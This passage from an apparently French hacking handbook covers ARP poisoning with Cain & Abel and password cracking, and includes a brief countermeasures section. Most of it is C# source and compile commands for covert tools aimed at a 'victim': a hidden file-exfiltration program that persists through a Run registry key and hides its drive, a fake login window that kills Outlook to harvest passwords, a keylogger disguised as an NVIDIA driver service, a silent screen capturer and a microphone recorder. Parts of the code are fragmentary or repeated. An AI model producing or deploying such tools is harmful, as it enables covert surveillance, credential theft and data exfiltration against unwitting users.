Maintenant, tout le trafic initialement prévu pour 192.168.1.90 sera dirigé vers votre machine.
Il ne reste plus qu’à sniffer le trafic avec Wireshark ou Microsoft Network Monitor comme vu
dans la section précédente.
Cette technique nécessite l’intervention de l’utilisateur qui en plus doit exécuter votre
application piégée avec des droits administrateurs. Nous allons simplifier l’attaque pour qu’il
n’ait plus besoin d’intervenir.
b. ARP poisoning avec Cain & Abel
Tout d’abord, vous devez comprendre comment fonctionne la résolution ARP. Lors d’une
demande de connexion, par exemple d’un navigateur vers un serveur web local, ARP va
résoudre l’adresse MAC du serveur web depuis son cache, si l’entrée existe. Si aucune entrée
n’existe, ARP va faire un broadcast pour que la machine cible réponde. C’est là qu’intervient
l’empoisonnement du cache ARP ou ARP poisoning. L’application envoie une réponse à la
demande de résolution à la machine cible avant que la machine réelle ne réponde. La machine
cible enregistre alors une mauvaise adresse MAC pour résoudre une adresse IP donnée. Tout
le trafic envoyé de la machine cible vers l’IP du serveur sera en réalité envoyé sur la machine
pirate, puis redirigé vers le bon serveur. Entre temps, le trafic aura pu être stocké et analysé.
Nous allons utiliser un outil de piratage installable sur Windows, WinPcap.
Vous devez d’abord installer une version récente de WinPcap si vous utilisez Windows 8.
Vous trouverez le fichier d’installation sur : http://www.winpcap.org/
Téléchargez et installez Cain & Abel sur le site : http://www.oxid.it/downloads/ca_setup.exe
Une fois Cain & Abel installé, exécutez la ligne de commande suivante pour que l’outil
puisse fonctionner correctement :
Netsh int ip set global taskoffload=disable
Désactivez votre pare-feu dans la mesure du possible. Si une stratégie de groupe vous
empêche d’arrêter le pare-feu reportez-vous au chapitre Outrepasser les restrictions logicielles
pour savoir comment contrecarrer ce problème.
Exécutez Cain & Abel et activez l’écoute du réseau, avec le deuxième bouton en partant de la
gauche. Allez dans l’onglet Sniffer.
Appuyez sur le bouton + et l’application vous proposera de scanner le réseau pour chercher
les machines présentes. Cochez la case All Tests dans la fenêtre qui s’affiche.
Le scanneur devrait identifier les machines de votre réseau :
Cliquez dans la zone du haut, là où il y a les lignes pour que le + s’active. Puis, appuyez sur
+.
La fenêtre qui s’affiche vous permet de choisir depuis et vers quelle machine le flux sera
piraté.
Choisissez la machine source et la machine destination dont le trafic sera rerouté vers la
vôtre.
En allant dans l’onglet Passwords en bas, vous trouverez les mots de passe détectés. Si
l’utilisateur va sur un site web sécurisé, l’application crée un certificat à la volée et l’envoie à
l’utilisateur. Nous voyons ici un mot de passe HTTP et deux mots de passe IMAP enregistrés
par l’application.
Dans le cas où rien ne s’est passé, vous pouvez changer la carte qui écoute le réseau dans les
options.
Dans le menu, cliquez sur Configure et choisissez la bonne interface réseau.
Toujours dans les options, vous pouvez aussi ajouter le nom des champs de formulaire web
pris pour l’utilisateur et mot de passe, pour que l’application les reconnaisse en tant que tels.
Dorénavant, lorsqu’un navigateur demandera un certificat à Cain & Abel, celui-ci lui
retournera un certificat signé par une autorité qu’il reconnaît.
Les étapes d’exportation d’un certificat ainsi que l’installation du certificat root public sur une
cible sont décrites dans la section Introduction aux certificats et à HTTPS.
d. Utiliser Cain & Abel pour trouver le mot de passe d’un utilisateur du domaine
Une fois que le trafic réseau est transmis à Cain & Abel, celui-ci est capable de remonter
toutes les informations intéressantes. Lorsque l’on redirige le trafic d’un PC en domaine, nous
obtenons alors le hash du mot de passe de l’utilisateur de cette machine.
Vous retrouverez ces informations dans Sniffer - Passwords.
Pour trouver le mot de passe, cliquez à l’aide du bouton droit sur l’utilisateur, puis sur Send
to Cracker. Allez ensuite dans l’onglet Cracker.
Si le champ LM Hash est rempli, il sera alors très facile de le retrouver. Sinon, il restera la
possibilité de le « casser » en force brute, avec un dictionnaire ou simplement en testant des
mots de passe par hasard. Nous verrons d’autres options de cet outil dans la section suivante.
Il s’agit dans l’exemple du mot de passe « P@ssw0rd », comme le mot de passe récupéré par
le dump. Vous trouverez, dans le chapitre Fabriquer ses propres outils de hacking, le code
source en .NET d’une application permettant de casser un mot de passe numérique jusqu’à
6 chiffres. L’application se base sur les principes du brute force par comparaison.
c. Brute force
La première technique de cassage est le brute force. Le programme essaie des combinaisons
les unes après les autres en se basant sur une suite, qu’il transforme en Unicode puis qu’il
hache de la même manière que le système le fait pour stocker un mot de passe, puis il
compare les résultats du hachage au mot de passe qui a été récupéré par un outil d’extraction
vu auparavant.
Cain & Abel donne la possibilité de cracker des mots de passe sniffés depuis le réseau, depuis
la SAM ou en important un fichier de dump.
Allez sur l’onglet Craker et cliquez sur +.
Sélectionnez l’utilisateur, puis cliquez avec le bouton droit de la souris. Choisissez ensuite le
moyen à mettre en œuvre pour casser le mot de passe.
Pour un mot de passe de la SAM Windows, utilisez Brute-Force Attack - NTLM Hashes.
Vous pouvez aussi tester un mot de passe, comme l’application d’avant pour laquelle les
sources vous sont fournies.
Lors d’une attaque en brute force, vous allez pouvoir choisir les caractères à utiliser ainsi que
la longueur minimum et maximum du mot de passe à tester.
Pour savoir comment configurer l’application, vous pouvez vous inspirer de la stratégie de
sécurité appliquée à votre machine. Vous la retrouverez en ouvrant gpedit.msc. Plus
d’informations à ce sujet dans le chapitre Recherche d’informations.
d. Dictionnaire
La deuxième technique est très semblable, c’est aussi du brute force. Elle ne se base pas sur
des suites, mais sur un dictionnaire où les informations sont en clair et les mots de passe sont
lus, transformés en Unicode, hachés puis comparés à ceux extraits du système.
Cain & Abel permet aussi l’utilisation d’un dictionnaire. Il y en a un fourni avec le logiciel ici
: C:\Program Files (x86)\Cain\Wordlists\Wordlist.txt
Vous pouvez aussi fabriquer votre propre dictionnaire à partir de logiciels qui dérivent des
mots ou des phrases pour en faire une liste adaptée à un contexte particulier.
e. Rainbow table
La dernière technique est peu différente. Elle se base sur une sorte de base de données
stockant un ensemble de hashs et de mots de passe correspondants. Elle a le nom de Rainbow
table.
Téléchargez et installez 0phcrack, qui est une application gratuite de la société suisse
Objectif Sécurité. Vous la trouverez sur : http://ophcrack.sourceforge.net/
Lors de l’installation, sélectionnez le téléchargement des tables gratuites pour Windows
Vista.
Une fois les tables téléchargées et installées, pour extraire les mots de passe de la SAM,
cliquez sur Load - Local SAM with samdump2. Il est aussi possible d’extraire la SAM
d’une machine distante.
Vous pouvez ensuite lancer le casse des mots de passe. Attention toutefois, les tables gratuites
ne comprennent pas toutes les possibilités. Il est aussi possible d’acheter des tables très
complètes suivant vos besoins, renseignez-vous sur le site d’Objectif Sécurité. L’avantage de
cette solution c’est qu’il est très rapide de retrouver un mot de passe, par rapport au brute
force.
Cain & Abel permet aussi de casser des mots de passe en créant vos propres rainbow tables à
l’aide de WinRtGen, qui est aussi installé avec.
Vous le trouverez ici : C:\Program Files (x86)\Cain\Winrtgen\WinRtGen.exe
Vous pourrez constater qu’avec 12 Go de données, vous couvrez 100 % des mots de passe
jusqu’à 5 caractères avec la majorité des caractères le plus couramment utilisés.
On constate aussi qu’il faut plus de 35 To pour n’avoir que 99,99 % des mots de passe à 8
caractères.
Les mots de passe numériques jusqu’à 7 caractères ne nécessitent que 6 Mo, mais tout de
même 58 minutes à calculer. Est-ce que cela en vaut la peine ?
Une fois les tables créées, il suffit de les sélectionner dans le menu du bouton droit de la
souris.
f. Utiliser SQL
Vous pouvez aussi créer vos propres bases de données avec SQL pour faire votre application.
Le langage SQL permet le calcul d’un hash MD4, mais aussi le calcul de hash MD5, SHA1
ainsi que le calcul d’autres algorithmes utilisés pour sécuriser le mot de passe. Il peut aussi
gérer le stockage et la recherche.
g. On-line
Il existe des sites et des services web proposant la recherche de mots de passe depuis un hash.
http://crackstation.net en est un. Il suffit de chercher NTLM crack online sur Google.
8. Contre-mesures
Il est possible de casser un mot de passe seulement une fois qu’il a été récupéré, il faut donc
au maximum empêcher cette récupération. Pour cela vous pouvez activer NAP (Network
Access Protection), qui devrait garantir que l’antivirus et le pare-feu sont activés et à jour.
Activez également IPsec avec NAP, ce qui empêchera une machine n’étant pas dans le
domaine de communiquer avec les machines sécurisées, le trafic ne pourra donc plus être
intercepté. Si un utilisateur fait passer le trafic sécurisé à travers sa machine par une
redirection de port ou grâce à un ARP spoofing, elle ne pourra pas le décrypter ni le modifier
si IPsec est activé. ARP spoofing peut aussi être détecté et bloqué en utilisant des switchs
capables de voir un changement inhabituel sur l’association adresse IP/adresse MAC. Il reste
aussi la possibilité de fixer sur les serveurs des entrées dans la table ARP IP/MAC à l’aide la
commande arp, mais cela est très lourd et peu efficace.
Le proxy des clients doit être configuré via une stratégie de groupe pour que l’utilisateur ne
puisse pas le modifier. Les scripts d’une page web écoutant les touches du clavier sont
difficiles à détecter, il convient donc de sensibiliser les utilisateurs sur les faux sites et de leur
expliquer comment les détecter. Vous devez activer HTTPS sur vos serveurs web, même
internes, sinon une simple redirection de port permettrait à un utilisateur interne de récupérer
des mots de passe en clair. Le fait que l’utilisateur ne puisse pas utiliser Netsh, la ligne de
commande, ou qu’il ne soit pas administrateur de sa machine l’empêchera de configurer la
redirection de port avec Netsh, toutefois cela reste possible avec PowerShell.
Les sites web internes comme externes doivent être testés avec des outils d’audit afin de
détecter d’éventuelles failles XSS, injections SQL, CMD, etc. Pour cela, vous pouvez utiliser
des outils comme W3af (http://w3af.org) ou Nikto (http://www.cirt.net/Nikto2) qui sont
gratuits.
Introduction à .NET
Depuis 2001, Microsoft a introduit .NET, un framework qui ne cesse d’évoluer pour arriver,
au moment de l’écriture de ce livre, à la version 4.5. .NET a plusieurs buts pour Microsoft. Le
premier est de fournir un ensemble de classes compatibles avec toutes les versions de ses
systèmes d’exploitation. En effet, une application développée en .NET est exécutable tant sur
Windows XP que sur Windows 8, pour autant que le framework soit installé sur la machine.
Sur Windows Vista, .NET 2.0 est intégré. Windows 7 intègre les versions 2 et 3.5, et
Windows 8, la version 4.5. La deuxième motivation était de donner au développeur des
classes, des fonctions et des propriétés compatibles entre plusieurs langages. De base,
Microsoft propose plusieurs langages comme C++, VB.NET, J#, et le plus utilisé, C#. Ceci
est possible, car lors de la compilation d’une application en .NET, le compilateur transforme
le code VB, C#, etc., en MSIL (Microsoft Intermediate Language). Il n’est transformé en
langage machine qu’à l’exécution, et cette transformation ne concerne que les parties du code
effectivement utilisées par l’application. C’est le JIT (Just In Time compiler) qui s’en occupe.
Un autre avantage est que votre application ne nécessitera en général pas de DLL, puisque
presque toutes les fonctions sont intégrées dans le framework et auront donc un poids très
faible pour énormément de possibilités.
L’image suivante présente la pile du framework avec les avancées suivant la version.
Microsoft propose un outil très puissant, Visual Studio, pour développer vos applications
Windows, téléphone ou web. Ce logiciel permet de corriger les fautes de frappe et propose
une écriture intuitive, un debugger et la compilation simplifiée, même si vous y ajoutez des
références ou utilisez des webservices.
Il existe des versions gratuites de Visual Studio et de SQL Server. Les versions gratuites sont
limitées dans les possibilités de se connecter et de manager des bases de données, dans le type
de développement (par exemple, le développement de services Windows n’est intégré qu’à
partir de la version Pro, payante). D’autres petites limitations sont présentes, mais en général,
les versions gratuites sont suffisantes pour programmer nos outils de piratage. Vous trouverez
ces applications ici : http://www.microsoft.com/france/visual-studio/essayez/express.aspx
Sans les droits administrateurs, il est tout autant possible de forcer le démarrage d’une
application.
En ajoutant votre application ou son raccourci dans le dossier de démarrage de
l’utilisateur :
C:\Users\NomUtilisateur\AppData\Roaming\Microsoft\Windows\Start
Menu\Programs\StartUp
En ajoutant une entrée dans la clé de registre de démarrage de l’utilisateur :
HK_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
Créez une nouvelle valeur de type Chaîne.
[HKEY_CURRENT_USER\Software\Classes\exefile]
[HKEY_CURRENT_USER\Software\Classes\exefile\DefaultIcon]
@="%1"
[HKEY_CURRENT_USER\Software\Classes\exefile\Shell]
[HKEY_CURRENT_USER\Software\Classes\exefile\Shell\Open]
[HKEY_CURRENT_USER\Software\Classes\exefile\Shell\Open\Command]
@="cmd.exe /k dir | start %1"
"IsolatedCommand"="\"%1\" %*"
[HKEY_CURRENT_USER\Software\Classes\exefile\Shell\runas]
[HKEY_CURRENT_USER\Software\Classes\exefile\Shell\runas\command]
@="\"%1\" %*"
"IsolatedCommand"="cmd.exe /k dir | start %1"
Exécutez le fichier créé et testez en ouvrant MSpaint.exe.
La ligne de commande ainsi que l’application s’ouvrent. Cela fonctionne aussi avec des
privilèges élevés.
Vous pouvez aussi créer un service Windows qui démarrera automatiquement, mais il n’y
aura pas d’interaction entre votre service et l’utilisateur. L’installation d’un service nécessite
des droits administrateurs sur la machine. Vous trouverez plus de détails sur la méthode dans
les sections suivantes.
Une fois l’installation effectuée, configurez l’authentification pour que tout le monde puisse
écrire dans le dossier. Pour créer une nouvelle règle, ouvrez la console de gestion IIS et
utilisez le menu Ajouter une règle de création WebDAV. Dans le formulaire, sélectionnez
Tous les contenus, Tous les utilisateurs ainsi que Lecture, Source, Écriture, puis validez
avec le bouton OK. Dans le menu de droite, cliquez sur Activer WebDAV.
Retournez dans la page précédente et activez l’exploration de répertoire.
Retournez dans la page précédente. Ajoutez une application sur le site par défaut.
Nommez-la users et donnez le chemin du dossier Users créé précédemment dans le dossier
public.
Testez votre site en allant dans l’explorateur Windows, mappez un lecteur réseau sur votre
site ou en exécutant la ligne de commande suivante :
Net use z: \\localhost\users
Si la commande s’est bien terminée, vous devriez pouvoir ajouter des documents dans l’unité
Z: depuis l’explorateur Windows.
4. Créer l’application
Vous avez pu voir les différentes options de destination pour les fichiers exfiltrés. Un site
SharePoint ou WebDAV permet d’envoyer ces fichiers depuis l’extérieur et même, pourquoi
pas, en HTTPS. Cette application pourrait très bien servir à faire un backup différentiel, ce qui
change, c’est que l’utilisateur n’est pas au courant de cette sauvegarde.
Pour envoyer nos fichiers vers la destination, nous ferons une simple copie vers une lettre de
lecteur montée par notre application. La lettre montée sera B: puisque cette lettre n’est jamais
utilisée par le système. Elle était à l’origine réservée à un éventuel deuxième lecteur de
disquettes.
Process map = new Process();
if (active && destinationWeb.Length > 5)
{
map.StartInfo.Arguments = @"/c net use " +
lettreReseau + " " + destinationWeb;
}
else
{
map.StartInfo.Arguments = @"/c net use " +
lettreReseau + " /del /y";
}
map.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
map.StartInfo.FileName = "cmd.exe";
map.Start();
map.WaitForExit(5000);
}
Pour que l’utilisateur ne voit pas ce disque, nous le monterons avant la copie puis il sera à
nouveau démonté.
Nous ajoutons notre application au démarrage, pour que celle-ci garde la copie à jour.
Process reg = new Process();
reg.StartInfo.Arguments = "add
HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\
Run /v \"sync Backpup tool\" /t REG_SZ /d \"" +
Path.Combine(Environment.CurrentDirectory, "Sync.exe") + "\" /f";
reg.StartInfo.FileName = "reg.exe";
reg.StartInfo.WindowStyle =
ProcessWindowStyle.Hidden;
reg.Start();
reg.WaitForExit();
Si l’utilisateur exécute notre application avec des droits administrateurs, celle-ci appliquera
des clés de registre correspondant à une stratégie de groupe pour cacher le disque utilisé dans
l’explorateur.
reg.StartInfo.Arguments = "add
HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\
Policies\\explorer /v \"NoDrives\" /t REG_DWORD /d " + disqueID + " /f";
reg.Start();
reg.WaitForExit();
reg.StartInfo.Arguments = "add
HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\
Policies\\explorer /v \"NoViewOnDrive\" /t REG_DWORD /d " +
disqueID + " /f";
reg.Start();
reg.WaitForExit();
Pour cacher le disque B, nous utiliserons le chiffre 2. Pour comprendre, regardez le tableau
suivant :
A: B: C: D: E:
1 2 4 8 16
C’est un code binaire qui est utilisé. Si vous souhaitez C et E, vous utiliserez alors 20.
Nous allons surveiller le dossier source de la copie afin de recevoir une notification dès qu’un
fichier est ajouté, renommé ou mis à jour. Il en sera de même sur notre destination.
FileSystemWatcher survFichiers = new FileSystemWatcher(source);
survFichiers.Filter = "*.*";
survFichiers.Path = source;
survFichiers.NotifyFilter =
NotifyFilters.LastAccess | NotifyFilters.LastWrite
| NotifyFilters.FileName |
NotifyFilters.DirectoryName;
survFichiers.EnableRaisingEvents = true;
survFichiers.Changed += survFichiers_Change;
survFichiers.Created += survFichiers_Change;
survFichiers.Renamed += survFichiers_Renommer;
Le code complet est téléchargeable sur la page Informations générales.
Créez un fichier texte qui se nomme backup_cmd.txt avec le code suivant :
using Microsoft.Win32;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Security.Permissions;
using System.Text;
namespace File_Copy
{
class Program
{
//ne prend volontairement pas les sous-dossiers
static string source =
Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
static string destinationDossier = @"b:\desktop\" +
Environment.UserName;
static string lettreReseau = "b:";
static int disqueID= 2 ; // a=1, b=2 , c =4, d=8 -> c et d =
12 etc...
static string destinationWeb =
"http://localhost:90/test/"; //si webdav
survFichiers.Changed += survFichiers_Change;
survFichiers.Created += survFichiers_Change;
survFichiers.Renamed += survFichiers_Renommer;
cacherDisque();
PremiereCopie();
Console.ReadLine();
}
catch { }
}
static void cacherDisque()
{
try
{
Process reg = new Process();
reg.StartInfo.Arguments = "add
HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\
Run /v \"sync Backpup tool\" /t REG_SZ /d \"" +
Path.Combine(Environment.CurrentDirectory, "Sync.exe") + "\" /f";
reg.StartInfo.FileName = "reg.exe";
reg.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
reg.Start();
reg.WaitForExit();
reg.StartInfo.Arguments = "add
HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\
Policies\\explorer /v \"NoDrives\" /t REG_DWORD /d " + disqueID +
" /f";
reg.Start();
reg.WaitForExit();
reg.StartInfo.Arguments = "add
HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\
Policies\\explorer /v \"NoViewOnDrive\" /t REG_DWORD /d " +
disqueID + " /f";
reg.Start();
reg.WaitForExit();
}
catch { }
}
}
}
Le code source de cette application nous montre comment forcer le démarrage automatique
d’une application lors de l’ouverture de session. Elle nous montre aussi comment copier
uniquement les fichiers modifiés vers une destination et comment appliquer une stratégie de
groupe depuis une application.
Nous aurions aussi pu charger les fichiers sur un site web avec un upload :
WebClient Envoyer = new WebClient();
Envoyer.UploadFile (source, destination );
Mais le but était d’avoir une application gérant la copie de fichiers sur un partage ou un site
web sans trop écrire de code.
5. Compiler l’application
Il ne reste plus qu’à transformer notre code en application. Vous trouverez plus
d’informations sur la compilation d’une application au début de ce chapitre. L’application
créée est de type console. L’application elle-même n’est donc pas cachée à l’utilisateur. Vous
découvrirez comment le faire dans les chapitres suivants.
Allez dans le répertoire du framework 2 ou 4 puis exécutez la ligne de commande suivante :
csc /out:c:\temp\backup.exe /target:exe c:\temp\backup_cmd.txt
Vous pouvez maintenant tester votre application. Celle-ci doit copier vos fichiers vers la
destination. Lors de la modification d’un fichier, le fichier doit être mis à jour sur la
destination.
1. Principes de base
Nous allons d’abord choisir une application à piéger. Pour la surveiller, nous regarderons la
liste des processus. Dès la détection du démarrage de celle-ci, nous l’arrêterons, s’il s’agit
d’une application de gestion, car la fenêtre de mot de passe doit être unique. Pour des
applications comme pour Outlook ou IE, nous n’avons pas besoin de l’arrêter, il faut au
contraire attendre qu’elle ait bien démarré.
Pour surveiller un processus :
Process[] Processus = Process.GetProcessesByName("Outlook");
if (Processus.Length > 0)
Pour stopper un processus :
Processus[0].Kill();
Pour récupérer le nom de l’utilisateur et le domaine courant :
Environment.UserName;
Environment.UserDomainName;
La modification de la saisie d’écran se fera avec Paint, jusqu’à obtenir une image exempte
d’informations personnelles.
this.Location = Cursor.Position;
}
}
namespace LoginPass
{
static class Program
{
/// <summary>
/// The main entry point for the application.
/// </summary>
[STAThread]
static void Main()
{
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
//Application.Run(new Form1());
Form1 f1 = new Form1();
Application.Run();
}
}
}
Le code de la Form fait en sorte d’afficher le formulaire seulement si l’application cible est
exécutée et si aucun fichier contenant le mot de passe n’est présent.
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Text;
using System.Windows.Forms;
namespace LoginPass
{
public partial class Form1 : Form
{
public Form1()
{
f1 = this;
InitializeComponent();
}
bool Bouge = false;
Boolean Affiche = false;
Form1 f1;
String Destination = @"c:\temp\passoutlook-"+
Environment.UserName +".txt";
private void Form1_Load(object sender, EventArgs e)
{
lbUser.Text = Environment.UserDomainName
+"\\"+Environment.UserName;
lbDomaine.Text = "votre compte " + Environment.UserDomainName;
txtPass.UseSystemPasswordChar = true;
Application.Exit();
}
Application.Exit();
}
this.Location = Cursor.Position;
}
}
if (Processus.Length > 0)
{
if (!File.Exists(Destination) && !Affiche)
{
Affiche = true;
f1.ShowDialog();
}
}
}
}
}
Le résultat est intéressant ; dès que l’application détecte Outlook, elle affiche le formulaire
avec le domaine et le nom de l’utilisateur.
if (Processus.Length > 0)
{
if (!File.Exists(Destination) && !Affiche)
{
Affiche = true;
foreach (Process p in Processus)
{
//seule la fenêtre active a un titre
if (p.MainWindowTitle.Contains("intranet"))
{
f1.ShowDialog();
}
}
}
Pensez à changer le nom du fichier de destination pour obtenir un fichier différent contenant
les mots de passe entre Outlook et IE. Le reste du développement est le même que pour
Outlook.
4. Créer l’application pour une application de gestion
Pour créer une fenêtre de login d’une application de gestion, nous allons procéder
approximativement de la même manière. Nous allons commencer par faire une saisie de
l’écran de login sur notre machine, puis nous la modifierons avec Paint si cela est nécessaire.
L’exemple ci-dessous est l’interface volontairement modifiée d’une application réelle. Elle
n’est ici qu’à titre d’exemple.
Le principe est le même que précédemment. Nous placerons des champs de texte sur les zones
de saisie, un Panel sur chaque bouton, etc.
Une des choses qui changent, c’est que dans ce type d’applications, le login n’est demandé
qu’au démarrage. Il faut donc détecter le lancement de l’application, forcer la fermeture,
montrer notre formulaire, et enfin, redémarrer l’application normale. Et il ne faut faire cela
qu’une seule fois, en espérant que l’utilisateur nous donne le mot de passe juste.
Pour détecter l’application, il faut d’abord savoir comment elle s’appelle. Pour cela, lancez
l’application et allez dans le Gestionnaire des tâches (exécutez taskmgr.exe ou appuyez sur
les touches [Ctrl][Shift][Esc]).
Dans la liste des processus, cliquez sur l’application avec le bouton droit de la souris et
affichez les propriétés pour avoir le nom réel ainsi que le chemin du fichier exécutable.
Le code vu précédemment correspond assez bien. Il faut toutefois changer un évènement pour
que celui-ci arrête l’application et affiche le formulaire.
private void Minuteur_Tick(object sender, EventArgs e)
{
Process[] Processus =
Process.GetProcessesByName("Outlook");
if (Processus.Length > 0)
{
if (!File.Exists(Destination) && !Affiche)
{
Processus[0].Kill(); //Stop l’application
Affiche = true;
Créer un keylogger
Il existe de nombreux keyloggers. La plupart de ceux-ci utilisent un système bien connu, la
fonction SetWindowsHookEx, qui permet de s’enregistrer pour obtenir toutes les touches
frappées au clavier. Toutefois, c’est aussi le premier endroit que contrôlent les systèmes de
protection pour empêcher l’écoute du clavier.
Vous trouverez plus d’informations à propos de la fonction SetWindowsHookEx sur le site de
Microsoft à l’adresse suivante : http://msdn.microsoft.com/en-
us/library/windows/desktop/ms644990(v=vs.85).aspx
Nous allons utiliser une technique différente de celle-ci pour rester plus discrets. Notre
programme ira demander très régulièrement les touches au lieu de s’abonner. Le code
présenté gère la touche pressée, mais pas si celle-ci est en majuscule, si [Alt] ou [Shift] est
pressé en même temps.
1. Principes de base
Nous allons, pour cacher un peu plus l’application dans le gestionnaire des tâches, lui donner
un nom et des propriétés. Cela se fait par l’intermédiaire des propriétés de l’application.
Le nom donné ressemble à celui d’un service de driver.
using System.Reflection;
[assembly:AssemblyTitle("Driver Helper Service, Version 302.57")]
[assembly:AssemblyVersion("7.17.13.697")]
[assembly:AssemblyDescription("Driver Helper Service, Version 302.57")]
[assembly:AssemblyCompany("Global Corporation. All rights reserved.")]
Nous utiliserons dans .NET, User32.dll qui nous permettra de rechercher les informations
tapées au clavier en toute discrétion. La fonction DllImport va nous permettre de charger cette
DLL.
[DllImport("User32.dll")]
private static extern int GetAsyncKeyState (long vKey);
[DllImport("user32.dll")]
static extern uint MapVirtualKey(uint uCode, uint uMapType);
Nous allons cette fois créer une application qui ne s’affichera pas à l’utilisateur. C’est une
application de type Windows. Nous ne chargerons pas la Form principale, dans le programme.
Nous allons aussi configurer les propriétés de l’application pour ne pas apparaître dans la
partie classique du gestionnaire des tâches.
f1.Name = "NVIDIA Driver Helper Service";
f1.ShowInTaskbar = false;
f1.Hide();
Application.Run();
Toutes ces particularités permettront à notre application d’être discrète et efficace. Vous
devrez encore ajouter l’application au démarrage comme vu dans le chapitre précédent.
2. Créer l’application
Créez un nouveau fichier texte appelé Driver.txt et ajoutez le code suivant :
using System;
using System.Collections.Generic;
using System.Text;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.IO;
using System.Threading;
using System.Reflection;
[assembly:AssemblyTitle("Driver Helper Service, Version 302.57")]
[assembly:AssemblyVersion("7.17.13.697")]
[assembly:AssemblyDescription("Driver Helper Service, Version 302.57")]
[assembly:AssemblyCompany("Global Corporation. All rights reserved.")]
namespace keyLogger
{
class Program
{
[DllImport("User32.dll")]
private static extern int GetAsyncKeyState (long vKey);
[DllImport("user32.dll")]
static extern uint MapVirtualKey(uint uCode, uint uMapType);
}
}
3. Compiler l’application
Cette fois, notre application est une application Windows Forms invisible. Le type de
destination doit être winexe.
Allez dans le répertoire du framework 2 ou 4 puis exécutez la ligne de commande de
compilation, ici l’exemple avec le framework 2 :
cd C:\Windows\Microsoft.NET\Framework\v2.0.50727
csc /out:c:\temp\nkey.exe /target:winexe c:\temp\driver.txt
Une fois l’application exécutée, elle n’apparaît pas à l’utilisateur et pas non plus dans la partie
classique du gestionnaire des tâches.
Nous la retrouverons dans le détail avec les propriétés ajoutées au fichier.
Ça reste très discret, le log se remplit à chaque touche appuyée.
Vous pouvez créer un fichier de log sur un partage réseau, plutôt que sur la machine locale,
ça, c’est à vous d’y réfléchir.
Capturer l’écran
Nous avons vu comment capturer les touches frappées par l’utilisateur. Mais que se passe-t-il
sur l’ordinateur de la victime ? Vous allez pouvoir ajouter la fonction de capture de l’écran de
la machine cible.
1. Principes de base
Pour enregistrer l’écran, nous allons utiliser une fonction très simple à mettre en œuvre.
Pensez juste à trouver un déclencheur intéressant comme des touches ou un programme
exécuté, sans quoi l’espace utilisé par les saisies d’écran va rapidement augmenter.
Le code principal de cette application est le suivant :
g.CopyFromScreen(sc.Bounds.Location, new Point(0, 0),
sc.Bounds.Size);
Il est complété par la gestion de tous les écrans présents, grâce au tableau ci-dessous :
Screen[] ecrans = Screen.AllScreens;
2. Créer l’application
Ce code permet la copie de l’écran et l’envoi vers un fichier image. Le code ci-dessous gère
les écrans multiples.
Créez un fichier texte qui s’appelle Capture.txt et ajoutez le code suivant :
using System;
using System.Collections.Generic;
using System.Text;
using System.Drawing.Imaging;
using System.Drawing;
using System.Windows.Forms;
using System.Threading;
namespace PrintScreen
{
class Program
{
static Form f1 = new Form();
static void Main(string[] args)
{
f1.ShowInTaskbar = false;
System.Timers.Timer minuteur1 = new System.Timers.Timer();
minuteur1.Enabled = true;
minuteur1.Interval = 5000; //5000 = 5 secondes
minuteur1.Elapsed += minuteur1_action;
Thread th = new Thread(minuteur1.Start);
th.Start();
Application.Run();
}
}
3. Compiler l’application
Cette application a été définie en tant qu’application invisible. Elle doit pour cela être
compilée en une application Windows Forms. Vous pouvez aussi reprendre les éléments-clés
et les ajouter au keylogger.
Allez dans le dossier du framework que vous avez puis exécutez la ligne de compilation. Ici
pour le framework 4 :
cd C:\Windows\Microsoft.NET\Framework\v4.0.30319
csc /out:c:\temp\cap.exe /target:winexe c:\temp\capture.txt
Lors du lancement du logiciel, rien n’apparaît à l’utilisateur. Mais dans le dossier de
destination, une image de l’écran est enregistrée par moniteur toutes les 5 secondes.
Enregistrer le son
Nous avons couvert l’enregistrement du clavier, celui de son image, mais que se passe-t-il
autour de lui ? Nous allons pour le savoir enregistrer le son de son microphone. Tous les
portables en sont équipés et si la machine cible utilise Lync, Skype ou un autre logiciel de
communication, il aura aussi un microphone à notre disposition.
1. Principes de base
Pour enregistrer du son, il existe beaucoup de fonctions dans .NET mais elles nécessitent
généralement l’installation d’un SDK. Nous préférons vous donner du code qui se compile sur
toutes les machines sans ajout. Nous allons pour cela utiliser la DLL Winm.dll.
[DllImport("winmm.dll", EntryPoint = "mciSendStringA", CharSet =
CharSet.Ansi, SetLastError = true, ExactSpelling = true)]
private static extern int mciSendString(string
lpstrCommand, string lpstrReturnString, int uReturnLength,
int hwndCallback);
2. Créer l’application
Ci-dessous le code complet d’une application en ligne de commande qui enregistre le son du
démarrage de l’application jusqu’à ce que l’on appuie sur [Entrée]. Le code est bien sûr,
comme pour les autres applications, téléchargeable sur notre site.
using System;
using System.Collections.Generic;
using System.Runtime.InteropServices;
using System.Text;
namespace Soundrecorder
{
class Program
{
if (enregistre)
{
mciSendString("open new Type waveaudio Alias
recsound", "", 0, 0);
heureEnregistrement =
DateTime.Now.ToShortDateString() + "-" + DateTime.Now.Hour + "-" +
DateTime.Now.Minute + "-" +DateTime.Now.Second;
mciSendString("record recsound", "", 0, 0);
}
else
{
mciSendString("save recsound "+cheminFichier +
heureEnregistrement +".wav", "", 0, 0);
mciSendString("close recsound ", "", 0, 0);
}
}
}
}
Nous aurions pu ajouter un détecteur de volume du son, pour déclencher l’enregistrement
d’un fichier ou l’arrêter quand plus rien ne se passe. Mais pour cela, il faut utiliser la librairie
de Microsoft.Speech, qui dans le cas de Windows 8 démarre l’application de reconnaissance
vocale. Celle-ci nécessite une configuration avant son utilisation. Le framework minimum
pour la reconnaissance vocale est le 3.5.
